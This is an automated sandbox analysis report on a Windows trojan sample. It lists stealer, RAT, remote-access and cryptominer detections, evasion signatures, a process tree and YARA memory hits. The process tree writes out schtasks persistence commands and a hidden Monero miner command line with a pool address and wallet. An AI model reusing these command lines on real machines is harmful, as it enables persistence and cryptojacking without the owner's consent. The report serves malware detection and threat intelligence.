Edit tour

Windows Analysis Report
RPHbzz3JqY.exe

Overview

General Information

Sample name:	RPHbzz3JqY.exe renamed because original name is a hash value
Original sample name:	848abdbd09c052799a0e0180b59f6fee.exe
Analysis ID:	1479881
MD5:	848abdbd09c052799a0e0180b59f6fee
SHA1:	2f73b04baf17c3a9f9d21f6f324d64306a10682c
SHA256:	1aa0622a744ec4d28a561bac60ec5e907476587efbadfde546d2b145be4b8109
Tags:	32exetrojan
Infos:

Detection

ScreenConnect Tool, PureLog Stealer, RedLine, Xmrig, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Xmrig

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected Xmrig cryptocurrency miner

Yara detected zgRAT

.NET source code contains potential unpacker

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

Contains functionality to hide user accounts

Contains functionality to inject code into remote processes

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores large binary data to the registry

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected ScreenConnect Tool

Yara signature match

Classification

Process Tree

System is w10x64

RPHbzz3JqY.exe (PID: 6488 cmdline: "C:\Users\user\Desktop\RPHbzz3JqY.exe" MD5: 848ABDBD09C052799A0E0180B59F6FEE)

schtasks.exe (PID: 6684 cmdline: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explert.exe (PID: 6436 cmdline: "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" MD5: 848ABDBD09C052799A0E0180B59F6FEE)

explert.exe (PID: 2852 cmdline: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe MD5: 848ABDBD09C052799A0E0180B59F6FEE)

schtasks.exe (PID: 2004 cmdline: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 6680 cmdline: "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 6612 cmdline: "C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe" MD5: 18BBC3FB86E902AFB59C06811A5B01F4)

gtxkvh.exe (PID: 6436 cmdline: "C:\Users\user\AppData\Local\Temp\gtxkvh.exe" MD5: 631670BEA7DD01CB347C389294714438)

schtasks.exe (PID: 6892 cmdline: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN Cerker.exe /TR "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Cerker.exe (PID: 6420 cmdline: "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe" MD5: 631670BEA7DD01CB347C389294714438)

AddInProcess.exe (PID: 6560 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50 MD5: 929EA1AF28AFEA2A3311FD4297425C94)

AddInProcess.exe (PID: 2704 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50 MD5: 929EA1AF28AFEA2A3311FD4297425C94)

HM3SOlbpH71yEXUIEAOeIiGX.exe (PID: 7064 cmdline: "C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe" MD5: 4F5771AA008FB55801A3F9FBA7130F69)

conhost.exe (PID: 3688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 4092 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

ix4A2DreBBsQwY6YHkidcDjo.exe (PID: 5468 cmdline: "C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

YAPNXRPmcarcR4ZDgC81Tbdk.exe (PID: 1832 cmdline: "C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

SmLAztxc1o8yfogkJXrRjbDt.exe (PID: 4488 cmdline: "C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

3HvoFOAmEaJswFCHOzyfyz5b.exe (PID: 4092 cmdline: "C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

6KZmcK8r6beUzmRf6Ci6nx8d.exe (PID: 4420 cmdline: "C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

yDd3OJXsNQptgFrYILoygXLs.exe (PID: 6196 cmdline: "C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

xpTljBOh8s4KWiGtXsL1c00g.exe (PID: 2300 cmdline: "C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

oZolmRBaYFkuutSgcOrBLSAQ.exe (PID: 1820 cmdline: "C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

V6uPDVniSnRMWuLn5U9T3TGJ.exe (PID: 1368 cmdline: "C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

2TUSzbAUfKRfcjcMzfoV1qdi.exe (PID: 5252 cmdline: "C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

ixjnzi95HfqR77bieLYCT4aJ.exe (PID: 3544 cmdline: "C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

6pkNzPZrIkyPzGNsokLQ8aZR.exe (PID: 3584 cmdline: "C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

hQdOgl4rhYQYx3G5aYY61LEd.exe (PID: 5812 cmdline: "C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe" MD5: E9DD0FC8F690BC7CBE71A51CF6C79F31)

explert.exe (PID: 6756 cmdline: "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" MD5: 848ABDBD09C052799A0E0180B59F6FEE)

explert.exe (PID: 2004 cmdline: "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" MD5: 848ABDBD09C052799A0E0180B59F6FEE)

sys_updater.exe (PID: 5928 cmdline: "C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe" MD5: 18BBC3FB86E902AFB59C06811A5B01F4)

sys_updater.exe (PID: 5232 cmdline: "C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe" MD5: 18BBC3FB86E902AFB59C06811A5B01F4)

sys_updater.exe (PID: 2380 cmdline: "C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe" MD5: 18BBC3FB86E902AFB59C06811A5B01F4)

sys_updater.exe (PID: 5296 cmdline: "C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe" MD5: 18BBC3FB86E902AFB59C06811A5B01F4)

Cerker.exe (PID: 6320 cmdline: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe MD5: 631670BEA7DD01CB347C389294714438)

Cerker.exe (PID: 6092 cmdline: "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe" MD5: 631670BEA7DD01CB347C389294714438)

Cerker.exe (PID: 6732 cmdline: "C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe" MD5: 631670BEA7DD01CB347C389294714438)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	Sziabjyahisyguwsiggswiwygisig	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\b1s7nlT2NqFJ3sl3xbYiMCIq.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\yt3cew8k69RKLpgTFur2iz2M.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 11 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000018.00000003.2663527189.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2780772219.00000159F38CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2686476457.0000021E03768000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2794263235.00000159F3891000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xb659d:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000001B.00000003.2783975569.00000159F3470000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2780772219.00000159F38FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2922120647.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2661359746.0000021E031A7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2762360259.00000159F3465000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2689396075.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2659972614.0000021E03194000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2915091882.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2770549430.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2761279906.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.2181775167.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xb658d:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000001B.00000003.2759055860.00000159F38C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2661205668.0000021E03151000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2686476457.0000021E03734000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2686049114.0000021E03765000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2778870088.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2659255671.0000021E03635000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2915091882.0000020E49827000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2689396075.0000021E03062000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2961157579.0000020E498C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2686476457.0000021E0372E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2686049114.0000021E0373E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2769879693.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2659255671.0000021E0362F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2687199973.0000021E0305A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2660087797.0000021E03581000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2801216518.00000159F3492000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2760278744.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2666668474.0000021E031A7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2767124522.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2961157579.0000020E498BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2759580916.00000159F3896000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2779479672.00000159F3891000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2958783527.0000020E498BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2783103519.00000159F360F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2661521340.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2674148859.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2915091882.0000020E497F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2661677871.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2919365464.0000020E495EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2787747249.00000159F349A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2916180807.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2660087797.0000021E03530000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2782126972.00000159F3464000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2759055860.00000159F3897000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2764776666.00000159F346C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2965569347.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2660847616.0000021E03196000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2791688116.00000159F349B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2785135937.00000159F345D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2958783527.0000020E498F6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2931991322.0000020E495E5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2660087797.0000021E03567000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2763426209.00000159F346C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2660847616.0000021E03140000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2916180807.0000020E495EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000C.00000002.1840252168.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000018.00000003.2661128058.0000021E03196000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
0000001F.00000003.2958783527.0000020E498C6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2924968847.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2919365464.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2688132576.0000021E03061000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2693194416.0000021E0319A000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xc23bd:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000001F.00000003.2968135446.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2785229702.00000159F3610000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2780772219.00000159F3891000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2779479672.00000159F3898000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2687808650.0000021E03516000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2687199973.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2688253860.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2923367726.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2968964641.0000020E495E8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2778573331.00000159F3495000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2929542126.0000020E495E0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2782967013.00000159F3470000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2686049114.0000021E03798000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2686049114.0000021E0372E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2779479672.00000159F38C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
